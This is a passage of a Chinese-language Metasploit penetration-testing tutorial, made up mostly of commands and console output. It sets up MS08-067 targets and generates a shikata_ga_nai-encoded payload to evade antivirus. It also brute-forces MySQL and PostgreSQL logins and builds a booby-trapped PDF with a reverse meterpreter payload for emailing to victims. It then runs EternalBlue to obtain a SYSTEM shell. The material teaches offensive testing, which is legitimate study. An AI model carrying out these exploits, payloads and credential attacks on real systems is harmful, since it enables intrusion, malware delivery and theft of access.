    SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


    Payload options (windows/meterpreter/reverse_tcp):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
    LHOST 192.168.10.12 yes The listen address (an interface may be specified)
    LPORT 4444 yes The listen port


    Exploit target: #可利用的目标

    Id Name
    -- ----
    0 Automatic Targeting

    从输出的信息可以看到MS08_067漏洞模块的所有配置选项。从显示的结果中可以看到,可利用的目标为Automatic Targeting。此时,用户可以使用show targets命令查看该漏洞模块支持的目标架构。

  2. 查看可利用的目标架构。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    msf6 exploit(windows/smb/ms08_067_netapi) > show targets

    Exploit targets:

    Id Name
    -- ----
    0 Automatic Targeting
    1 Windows 2000 Universal
    2 Windows XP SP0/SP1 Universal
    3 Windows 2003 SP0 Universal
    4 Windows XP SP2 English (AlwaysOn NX)
    5 Windows XP SP2 English (NX)
    6 Windows XP SP3 English (AlwaysOn NX)
    7 Windows XP SP3 English (NX)
    8 Windows XP SP2 Arabic (NX)
    9 Windows XP SP2 Chinese - Traditional / Taiwan (NX)
    10 Windows XP SP2 Chinese - Simplified (NX)
    11 Windows XP SP2 Chinese - Traditional (NX)
    12 Windows XP SP2 Czech (NX)
    13 Windows XP SP2 Danish (NX)
    14 Windows XP SP2 German (NX)
    15 Windows XP SP2 Greek (NX)
    16 Windows XP SP2 Spanish (NX)
    17 Windows XP SP2 Finnish (NX)
    18 Windows XP SP2 French (NX)
    19 Windows XP SP2 Hebrew (NX)
    20 Windows XP SP2 Hungarian (NX)
    21 Windows XP SP2 Italian (NX)
    22 Windows XP SP2 Japanese (NX)
    23 Windows XP SP2 Korean (NX)
    24 Windows XP SP2 Dutch (NX)
    25 Windows XP SP2 Norwegian (NX)
    26 Windows XP SP2 Polish (NX)
    27 Windows XP SP2 Portuguese - Brazilian (NX)
    28 Windows XP SP2 Portuguese (NX)
    29 Windows XP SP2 Russian (NX)
    30 Windows XP SP2 Swedish (NX)
    31 Windows XP SP2 Turkish (NX)
    32 Windows XP SP3 Arabic (NX)
    33 Windows XP SP3 Chinese - Traditional / Taiwan (NX)
    34 Windows XP SP3 Chinese - Simplified (NX)
    35 Windows XP SP3 Chinese - Traditional (NX)
    36 Windows XP SP3 Czech (NX)
    37 Windows XP SP3 Danish (NX)
    38 Windows XP SP3 German (NX)
    39 Windows XP SP3 Greek (NX)
    40 Windows XP SP3 Spanish (NX)
    …//省略部分内容//…
    69 Windows 2003 SP2 Spanish (NX)
    70 Windows 2003 SP2 Japanese (NO NX)
    71 Windows 2003 SP2 French (NO NX)
    72 Windows 2003 SP2 French (NX)

    从输出的信息可以看到该模块支持的所有目标架构。在输出的信息中共包括两列,分别表示Id(编号)和Name(目标名称)。通过分析输出的结果可知,该漏洞模块支持的架构有Windows 2000 Universal、Windows XP SP0/SP1 Universal和Windows 2003 SP0 Universal等。接下来,用户就可以根据自己的目标系统架构来设置。其中,设置架构的语法格式如下:

    set target [id]

  3. 设置目标架构为Windows XP SP0/SP1 Universal。执行命令如下:

    1
    2
    msf6 exploit(windows/smb/ms08_067_netapi) > set target 2
    target => 2

    从输出的信息可以看到,已成功设置目标架构编号为2。此时,用户可以再次查看模块的选项,已确定目标架构设置成功。如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    msf6 exploit(windows/smb/ms08_067_netapi) > show options

    Module options (exploit/windows/smb/ms08_067_netapi):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
    RPORT 445 yes The SMB service port (TCP)
    SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


    Payload options (windows/meterpreter/reverse_tcp):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
    LHOST 192.168.10.12 yes The listen address (an interface may be specified)
    LPORT 4444 yes The listen port


    Exploit target:

    Id Name
    -- ----
    2 Windows XP SP0/SP1 Universal

    从输出的信息可以看到,成功设置目标系统架构为Windows XP SP0/SP1 Universal。

3.4 设置编码

为了避免出现坏字符,或者规避目标主机中防火墙或杀毒软件的拦截,可以为攻击载荷设置编码,从而生成新的攻击载荷。其中,编码模块主要供msfvenom工具使用。msfvenom是MSF框架配套的攻击载荷生成器。其中,用于生成攻击载荷的语法格式如下:

msfvenom [options] <var=val>

该命令常用的选项及含义如下:

-p:指定使用的Payload。
-e:指定编码格式。
-a:指定系统架构,默认是x86。
-s:指定Payload的最大值。
-i:指定编码次数。
-f:指定生成的文件格式。

使用x86/shikata_ga_nai编码格式生成一个新的攻击载荷,并保存到msf.exe中。方法如下:

  1. 查看支持的所有编码。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # msfvenom -l encoders                           

    Framework Encoders [--encoder <value>]
    ======================================

    Name Rank Description
    ---- ---- -----------
    cmd/brace low Bash Brace Expansion Command Encoder
    cmd/echo good Echo Command Encoder
    cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
    cmd/ifs low Bourne ${IFS} Substitution Command Encoder

    …//省略部分内容//…
  2. 创建攻击载荷。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    # msfvenom -p windows/meterpreter/bind_tcp RHOST=192.168.10.12 --platform windows -a x86 -e x86/shikata_ga_nai -f exe > msf.exe
    Found 1 compatible encoders
    Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
    x86/shikata_ga_nai succeeded with size 353 (iteration=0)
    x86/shikata_ga_nai chosen with final size 353
    Payload size: 353 bytes
    Final size of exe file: 73802 bytes

    从以上输出的信息中可以看到,成功使用x86/shikata_ga_nai编码创建了一个攻击载荷。其中,该攻击载荷文件为msf.exe。

四、攻击范例

不同的攻击模块使用的步骤不同,需要用户灵活使用。但是,基本思路都一样。用户都是先查找可以利用其漏洞的渗透测试模块,然后加载攻击载荷,进而实施渗透测试。

4.1 渗透攻击MySQL数据库服务

MySQL是一个关系型数据库管理系统。在Web服务器应用方面,MySQL数据库通常是用户的最优选择。如果管理员配置不当,就可能存在漏洞,如弱密码、用户权限配置错误等。此时,渗透测试者可以尝试对其实施渗透测试。在MSF控制终端,提供了一个辅助模块mysql_login,可以用来实施弱密码破解。

使用mysql_login模块,渗透攻击MySQL数据库服务。具体操作步骤如下:

  1. 使用mysql_login模块。执行命令如下:

    1
    2
    msf6 > use auxiliary/scanner/mysql/mysql_login 
    msf6 auxiliary(scanner/mysql/mysql_login) >
  2. 查看模块配置选项。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    msf6 auxiliary(scanner/mysql/mysql_login) > show options

    Module options (auxiliary/scanner/mysql/mysql_login):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    BLANK_PASSWORDS true no Try blank passwords for all users
    BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
    DB_ALL_CREDS false no Try each user/password couple stored in the current database
    DB_ALL_PASS false no Add all passwords in the current database to the list
    DB_ALL_USERS false no Add all users in the current database to the list
    PASSWORD no A specific password to authenticate with
    PASS_FILE no File containing passwords, one per line
    Proxies no A proxy chain of format type:host:port[,type:host:port][...]
    RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
    RPORT 3306 yes The target port (TCP)
    STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
    THREADS 1 yes The number of concurrent threads (max one per host)
    USERNAME root no A specific username to authenticate as
    USERPASS_FILE no File containing users and passwords separated by space, one pair per line
    USER_AS_PASS false no Try the username as the password for all users
    USER_FILE no File containing usernames, one per line
    VERBOSE true yes Whether to print output for all attempts

    从输出的信息可以看到所有的配置选项参数。其中,有几个必须配置的选项。接下来,将对其进行配置。

  3. 配置模块选项参数。执行命令如下:

    1
    2
    3
    4
    5
    6
    msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.10.56
    RHOSTS => 192.168.10.56
    msf6 auxiliary(scanner/mysql/mysql_login) > set USER_FILE /root/users.txt
    USER_FILE => /root/users.txt
    msf6 auxiliary(scanner/mysql/mysql_login) > set USERPASS_FILE /root/passwords.txt
    USERPASS_FILE => /root/passwords.txt

    从输出的信息可以看到,成功设置了模块选项参数。

  4. 实施渗透测试。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    msf5 auxiliary(scanner/mysql/mysql_login) > exploit
    [+] 192.168.10.56:3306 - 192.168.10.56:3306 - Found remote MySQL version
    5.0.51a
    [-] 192.168.10.56:3306 - 192.168.10.56:3306 - LOGIN FAILED: aaaa:aaaa
    (Incorrect: Access denied for user 'aaaa'@'192.168.10.75' (using password:
    YES))
    [-] 192.168.10.56:3306 - 192.168.10.56:3306 - LOGIN FAILED: aaaa:bob
    (Incorrect: Access denied for user 'aaaa'@'192.168.10.75' (using password:
    YES))
    [-] 192.168.10.56:3306 - 192.168.10.56:3306 - LOGIN FAILED: aaaa:root
    (Incorrect: Access denied for user 'aaaa'@'192.168.10.75' (using password:
    YES))
    [-] 192.168.10.56:3306 - 192.168.10.56:3306 - LOGIN FAILED: aaaa:toor
    (Incorrect: Access denied for user 'aaaa'@'192.168.10.75' (using password:
    YES))
    [+] 192.168.10.56:3306 - 192.168.10.56:3306 - Success: 'root:123456'
    [-] 192.168.10.56:3306 - 192.168.10.56:3306 - LOGIN FAILED: admin:
    123456 (Incorrect: Access denied for user 'admin'@'192.168.10.75' (using
    password: YES))
    [-] 192.168.10.56:3306 - 192.168.10.56:3306 - LOGIN FAILED: admin:
    www.123! (Incorrect: Access denied for user 'admin'@'192.168.10.75'
    (using password: YES))
    [-] 192.168.10.56:3306 - 192.168.10.56:3306 - LOGIN FAILED: admin:
    www.123 (Incorrect: Access denied for user 'admin'@'192.168.10.75' (using
    password: YES))
    [-] 192.168.10.56:3306 - 192.168.10.56:3306 - LOGIN FAILED: admin:
    admin (Incorrect: Access denied for user 'admin'@'192.168.10.75' (using
    password: YES))
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed

    从输出的信息可以看到,依次尝试使用指定的用户名/密码文件中的用户名和密码连接了MySQL服务器。通过尝试所有的用户名和密码,找到了一个有效的MySQL数据库用户和密码,其用户名为root,密码为123456。

4.2 渗透攻击PostgreSQL数据库服务

PostgerSQL是一个自由的对象——关系数据库服务(数据库管理系统)。在某些情况下,用户也可以使用该数据库服务来存储数据,如Metasploit。

使用postgres_login模块,实施渗透攻击PostgreSQL数据库服务。具体操作步骤如下:

  1. 选择postgres_login模块。执行命令如下:

    1
    2
    msf6 > use auxiliary/scanner/postgres/postgres_login 
    msf6 auxiliary(scanner/postgres/postgres_login) >
  2. 查看可配置的选项参数。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    msf6 auxiliary(scanner/postgres/postgres_login) > show options

    Module options (auxiliary/scanner/postgres/postgres_login):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    BLANK_PASSWORDS false no Try blank passwords for all users
    BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
    DATABASE template1 yes The database to authenticate against
    DB_ALL_CREDS false no Try each user/password couple stored in the current database
    DB_ALL_PASS false no Add all passwords in the current database to the list
    DB_ALL_USERS false no Add all users in the current database to the list
    PASSWORD no A specific password to authenticate with
    PASS_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line
    Proxies no A proxy chain of format type:host:port[,type:host:port][...]
    RETURN_ROWSET true no Set to true to see query result sets
    RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
    RPORT 5432 yes The target port
    STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
    THREADS 1 yes The number of concurrent threads (max one per host)
    USERNAME no A specific username to authenticate as
    USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt no File containing (space-separated) users and passwords, one pair per line
    USER_AS_PASS false no Try the username as the password for all users
    USER_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt no File containing users, one per line
    VERBOSE true yes Whether to print output for all attempts

    从输出的信息可以看到所有的配置选项参数。接下来,将配置所有选项参数。

  3. 配置RHOSTS选项参数。执行命令如下:

    1
    2
    msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 192.168.10.56
    RHOSTS => 192.168.10.56
  4. 实施渗透测试。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    msf6 auxiliary(scanner/postgres/postgres_login) > exploit

    [-] 192.168.29.137:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
    [+] 192.168.29.137:5432 - Login Successful: postgres:postgres@template1
    [-] 192.168.29.137:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
    [-] 192.168.29.137:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf5 auxiliary(scanner/postgres/postgres_login) >

    从输出的信息可以看到,找到了一个有效的用户名和密码,用户名和密码都为postgres。

4.3 PDF文件攻击

PDF是一种文件格式。该类型文件使用比较广泛,并且容易传输。在前面介绍的渗透测试方法,都是主动实施渗透测试。如果目标主机没有监听服务器类端口时,则需要使用被动渗透测试方式。此时,可以尝试向客户端发送一个带病毒的PDF文件,进而实施被动攻击。

使用Adobe PDF Embedded EXE模块,创建PDF病毒文件。具体操作步骤如下:

  1. 使用adobe_pdf_embedded_exe模块。执行命令如下:

    1
    2
    3
    msf6 > use exploit/windows/fileformat/adobe_pdf_embedded_exe
    [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
    msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) >
  2. 查看adobe_pdf_embedded_exe模块有效的选项。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > show options

    Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    EXENAME no The Name of payload exe.
    FILENAME evil.pdf no The output filename.
    INFILENAME /usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf yes The Input PDF filename.
    LAUNCH_MESSAGE To view the encrypted content please tick the "Do not show this message again" box and press Open. no The message to display in the File: area


    Payload options (windows/meterpreter/reverse_tcp):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
    LHOST 192.168.10.12 yes The listen address (an interface may be specified)
    LPORT 4444 yes The listen port

    **DisablePayloadHandler: True (no handler will be created!)**


    Exploit target:

    Id Name
    -- ----
    0 Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7 (English)

    以上信息显示了adobe_pdf_embedded_exe模块所有可用的选项。从以上输出的信息可以看到,默认使用的PDF病毒文件为template.pdf,输出文件名为evil.pdf。如果用户不想要使用默认的PDF文件时,可以指定自己的病毒文件及输出文件名。

  3. 设置用户想要生成的PDF文件名。执行命令如下:

    1
    2
    msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > set FILENAME test.pdf
    FILENAME => test.pdf
  4. 设置INFILENAME选项。为了利用该PDF文件,使用该选项指定用户访问的PDF文件位置。如果用户没有一个合适的PDF攻击文件,也可以使用默认的模板文件template.pdf,则无须配置该选项。执行命令如下:

    1
    2
    msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > set INFILENAME /root/evil.pdf
    INFILENAME => /root/evil.pdf

    注意:这里指定的PDF文件中不能包含关键字root。否则,无法生成对应的带病毒PDF文件。

  5. 生成PDF病毒文件。执行命令如下:

    1
    2
    3
    4
    5
    6
    msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > exploit 
    [*] Reading in '/root/evil.pdf'...
    [*] Parsing '/root/evil.pdf'...
    [*] Using 'windows/meterpreter/reverse_tcp' as payload...
    [*] Parsing Successful. Creating 'test.pdf' file...
    [+] test.pdf stored at /root/.msf4/local/test.pdf

    输出的信息显示test.pdf文件已经生成,而且被保存到/root/.msf4/local目录中。接下来用户可以将创建好的PDF文件通过邮件或其他方式发送到目标主机,然后在本地建立监听。当目标主机用户打开该PDF文件时,将可能被攻击。

4.4 利用MS17_010漏洞实施攻击

MS17_010是“永恒之蓝”(勒索病毒)所利用的一个Microsoft Windows漏洞。渗透测试者通过利用该漏洞向Microsoft服务器消息块1.0(SMBv1)服务器发送经特殊设计的消息,就可能允许远程代码执行。下面将介绍利用MS17_010漏洞对目标主机Windows Server 2008 R2(x64)实施渗透测试。

利用MS17_010漏洞实施渗透测试。具体操作步骤如下:

  1. 查询可利用MS17_010漏洞的渗透测试模块。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    msf6 > search ms17-010

    Matching Modules
    ================

    # Name Disclosure Date Rank Check Description
    - ---- --------------- ---- ----- -----------
    0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
    1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
    2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
    3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
    4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
    5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution


    Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/smb/smb_doublepulsar_rce

    从输出的信息可以看到,找到5个可使用的渗透测试模块。通过分析描述信息可知,第2个是扫描模块;第3个是漏洞利用模块。此时,在实施渗透测试之前,使用扫描模块探测目标是否存在该漏洞。

  2. 选择smb_ms17_010模块,并查看其配置选项。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    msf6 > use auxiliary/scanner/smb/smb_ms17_010 
    msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

    Module options (auxiliary/scanner/smb/smb_ms17_010):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    CHECK_ARCH true no Check for architecture on vulnerable hosts
    CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
    CHECK_PIPE false no Check for named pipe on vulnerable hosts
    NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
    RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
    RPORT 445 yes The SMB service port (TCP)
    SMBDomain . no The Windows domain to use for authentication
    SMBPass no The password for the specified username
    SMBUser no The username to authenticate as
    THREADS 1 yes The number of concurrent threads (max one per host)

    以上输出信息显示了当前模块的所有配置选项。此时仅设置一个目标地址即可运行该模块,以探测目标是否存在MS17_010漏洞。

  3. 配置RHOSTS选项。执行命令如下:

    1
    2
    msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.100.246
    RHOSTS => 192.168.100.246

    从输出的信息可以看到,指定扫描的目标主机地址为192.168.100.246。

  4. 实施漏洞扫描测试。执行命令如下:

    1
    2
    3
    4
    msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit
    [+] 192.168.100.246:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7600 x64 (64-bit)
    [*] 192.168.100.246:445 - Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed

    从输出的信息中可以看到,目标主机中存在MS17_010漏洞。接下来将利用该漏洞对目标主机实施渗透测试。

  5. 选择ms17_010_eternalblue模块。执行命令如下:

    1
    2
    msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
    msf6 exploit(windows/smb/ms17_010_eternalblue) >
  6. 加载攻击载荷。执行命令如下:

    1
    2
    msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
    payload => windows/x64/meterpreter/reverse_tcp
  7. 查看所有的配置选项参数。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

    Module options (exploit/windows/smb/ms17_010_eternalblue):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
    RPORT 445 yes The target port (TCP)
    SMBDomain . no (Optional) The Windows domain to use for authentication
    SMBPass no (Optional) The password for the specified username
    SMBUser no (Optional) The username to authenticate as
    VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
    VERIFY_TARGET true yes Check if remote OS matches exploit Target.


    Payload options (windows/x64/meterpreter/reverse_tcp):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
    LHOST 192.168.10.75 yes The listen address (an interface may be specified)
    LPORT 4444 yes The listen port


    Exploit target:

    Id Name
    -- ----
    0 Windows 7 and Server 2008 R2 (x64) All Service Packs

    从输出的信息可以看到所有的配置选项参数。接下来将配置必须配置的选项:RHOSTS和LHOST。

  8. 配置选项参数。执行命令如下:

    1
    2
    3
    4
    msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.100.246
    RHOSTS => 192.168.100.246
    msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.10.75
    LHOST => 192.168.10.75
  9. 实施渗透测试。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

    [*] Started reverse TCP handler on 192.168.10.75:4444
    [*] 192.168.100.246:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
    [+] 192.168.100.246:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
    [*] 192.168.100.246:445 - Scanned 1 of 1 hosts (100% complete)
    [*] 192.168.100.246:445 - Connecting to target for exploitation.
    [+] 192.168.100.246:445 - Connection established for exploitation.
    [+] 192.168.100.246:445 - Target OS selected valid for OS indicated by SMB reply
    [*] 192.168.100.246:445 - CORE raw buffer dump (53 bytes)
    [*] 192.168.100.246:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
    [*] 192.168.100.246:445 - 0x00000010 30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73 008 R2 Enterpris
    [*] 192.168.100.246:445 - 0x00000020 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50 e 7601 Service P
    [*] 192.168.100.246:445 - 0x00000030 61 63 6b 20 31 ack 1
    [+] 192.168.100.246:445 - Target arch selected valid for arch indicated by DCE/RPC reply
    [*] 192.168.100.246:445 - Trying exploit with 12 Groom Allocations.
    [*] 192.168.100.246:445 - Sending all but last fragment of exploit packet
    [*] 192.168.100.246:445 - Starting non-paged pool grooming
    [+] 192.168.100.246:445 - Sending SMBv2 buffers
    [+] 192.168.100.246:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
    [*] 192.168.100.246:445 - Sending final SMBv2 buffers.
    [*] 192.168.100.246:445 - Sending last fragment of exploit packet!
    [*] 192.168.100.246:445 - Receiving response from exploit packet
    [+] 192.168.100.246:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
    [*] 192.168.100.246:445 - Sending egg to corrupted connection.
    [*] 192.168.100.246:445 - Triggering free of corrupted buffer.
    [*] Sending stage (200262 bytes) to 192.168.100.246
    [*] Meterpreter session 1 opened (192.168.10.75:4444 -> 192.168.100.246:49159) at 2020-12-22 17:23:14 +0800
    [+] 192.168.100.246:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    [+] 192.168.100.246:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    [+] 192.168.100.246:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

    meterpreter >

    从输出的信息可以看到,成功获取到一个Meterperter会话。而且,命令行提示符显示为meterpreter>。此时,用户可以在Meterpreter Shell下执行大量的命令。用户可以使用help命令查看支持的所有命令:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    meterpreter > help
    Core Commands
    =============
    Command Description
    ------- -----------
    ? Help menu
    background Backgrounds the current session
    bg Alias for background
    bgkill Kills a background meterpreter script
    bglist Lists running background scripts
    bgrun Executes a meterpreter script as a background thread
    channel Displays information or control active channels
    close Closes a channel
    disable_unicode_encoding Disables encoding of unicode strings
    enable_unicode_encoding Enables encoding of unicode strings
    exit Terminate the meterpreter session
    get_timeouts Get the current session timeout values
    …//省略部分内容//…

    以上输出的信息显示了Meterpreter命令行下可运行的所有命令。输出的信息中每个命令的作用都有详细的描述。用户可以根据自己的需要执行相应的命令。

  10. 进入目标主机的Shell。执行命令如下:

    1
    2
    3
    4
    5
    6
    meterpreter > shell 
    Process 3008 created.
    Channel 1 created.
    Microsoft Windows [汾 6.1.7601]
    (c) 2009 Microsoft Corporation
    C:\Windows\system32>

    从输出的信息中可以看到,成功进入了目标系统的命令行界面。其中,中文内容会以乱码形式显示。如果用户需要退出,需输入exit命令:

    1
    2
    3
    C:\Windows\system32> exit
    exit
    meterpreter >

    从输出的信息可以看到,成功退出了目标主机的Shell,返回到Meterpreter会话。

  11. 从Meterpreter会话返回到MSF终端。执行命令如下:

    1
    2
    3
    meterpreter > background 
    [*] Backgrounding session 1...
    msf5 exploit(windows/smb/ms17_010_eternalblue) >

    从输出的信息可以看到,命令行提示符显示为msf5 exploit(windows/smb/ms17_010_eternalblue)>。由此可以说明,已成功返回到MSF终端。如果想要再次进入Meterpreter会话,可以使用sessions命令实现。使用sessions命令查看建立的Meterpreter会话。如下:

    1
    2
    3
    4
    5
    6
    7
    8
    msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

    Active sessions
    ===============

    Id Name Type Information Connection
    -- ---- ---- ----------- ----------
    1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN-FJQ974EQ9HI 192.168.10.75:4444 -> 192.168.100.246:49159 (192.168.100.246)

    从输出的信息可以看到,有一个活跃的Meterpreter会话。此时,使用sessions-i[id]命令,即可激活该会话。如下:

    1
    2
    3
    msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 1
    [*] Starting interaction with 1...
    meterpreter >

    从输出信息中可以看到,成功启动了第一个交互会话。

五、控制Meterpreter会话

